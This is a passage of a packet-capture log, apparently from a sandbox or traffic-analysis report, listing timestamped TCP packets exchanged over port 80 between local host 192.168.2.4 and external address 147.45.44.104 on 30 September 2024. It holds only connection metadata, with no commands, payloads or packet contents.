Sep 30, 2024 12:22:44.381510973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.381546974 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.381555080 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.381591082 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.381608009 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.381639004 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470309019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470345020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470380068 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470391989 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470415115 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470415115 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470444918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470468044 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470510960 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470546007 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470561981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470582008 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470593929 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470626116 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.470944881 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470999002 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.470999002 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471035004 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471050024 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471086025 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471097946 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471132040 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471153975 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471180916 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471635103 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471674919 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471693039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471724033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471726894 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471762896 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471766949 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471797943 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.471812963 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.471837997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.472428083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.472484112 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.472486019 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.472529888 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.472537994 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.472574949 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.472589016 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.472609043 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.472630978 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.472661018 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.473316908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.473367929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.473372936 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.473403931 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.473416090 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.473438025 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.473453999 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.473474026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.473479033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.473540068 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.474114895 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.474152088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.474170923 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.474185944 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.474199057 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.474220991 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.474234104 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.474271059 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562401056 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562472105 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562500954 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562509060 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562536001 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562544107 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562557936 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562581062 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562592030 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562613964 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562633038 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562649012 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562655926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562685013 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562696934 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562721014 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562731981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562769890 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562777996 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562813997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562829018 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562865019 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562869072 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562902927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562916994 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562937975 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562957048 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.562974930 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.562988043 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563010931 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563026905 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563051939 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563582897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563637018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563637972 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563683987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563690901 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563725948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563745022 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563774109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563781023 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563817024 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563827038 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563851118 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563868046 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563886881 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.563905954 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.563940048 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564481020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564542055 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564549923 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564604998 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564621925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564659119 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564668894 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564692974 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564704895 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564727068 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564740896 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564760923 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564778090 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564796925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.564804077 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.564846039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565435886 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565469027 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565495968 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565516949 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565524101 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565557957 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565573931 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565594912 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565610886 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565628052 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565645933 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565664053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565682888 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565701008 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.565713882 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.565749884 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.566266060 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.566317081 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.566343069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.566376925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.566396952 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.566411018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.566425085 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.566446066 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.566462994 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.566481113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.566488028 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.566534042 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.648823977 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.648863077 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.648897886 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.648902893 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.648931980 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.648936987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.648950100 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.648969889 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.648981094 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.649013042 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653564930 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653609037 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653625965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653660059 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653660059 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653712034 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653732061 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653781891 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653786898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653820992 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653846025 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653856039 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653865099 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653889894 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653901100 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.653925896 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.653939009 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654016018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654036045 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654051065 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654067993 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654088020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654099941 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654129982 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654259920 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654294968 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654313087 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654345036 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654395103 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654448032 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654453039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654480934 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654496908 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654525042 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654534101 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654583931 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654584885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654619932 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654640913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654659033 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.654661894 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654704094 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.654954910 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655009031 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655023098 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655060053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655061007 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655107021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655112982 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655148983 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655163050 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655191898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655200958 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655236959 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655253887 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655268908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655278921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655303001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655319929 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655338049 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655349970 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655371904 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655400038 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655414104 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655421972 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655457973 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655467033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655504942 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655838966 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655891895 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655895948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655939102 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.655949116 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655983925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.655999899 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656018019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656029940 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656063080 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656073093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656109095 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656121016 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656143904 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656156063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656177998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656192064 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656213045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656224966 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656249046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656260014 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656285048 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656297922 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656322002 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656332970 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656371117 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656833887 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656884909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656888008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656919956 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656934023 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.656956911 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.656966925 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.657004118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.735337973 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.735408068 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.735450983 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.735481977 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.735503912 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.735531092 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.735534906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.735579967 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.735586882 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.735621929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.735626936 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.735663891 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.740474939 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.740530014 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.740540981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.740566015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.740575075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.740603924 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.740603924 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.740650892 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741027117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741087914 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741112947 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741147995 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741164923 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741194010 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741338015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741403103 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741410017 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741462946 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741465092 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741497993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741508961 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741532087 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741538048 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741575956 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741585970 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741621971 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741641045 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741657019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741667986 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741693020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741703033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741734982 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741746902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741781950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741792917 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741830111 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741837978 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741882086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741905928 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741939068 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741961002 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.741974115 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.741981983 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742007017 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742016077 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742050886 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742057085 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742094040 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742094994 CEST	80	52535	147.45.44.104	192.168.2.4
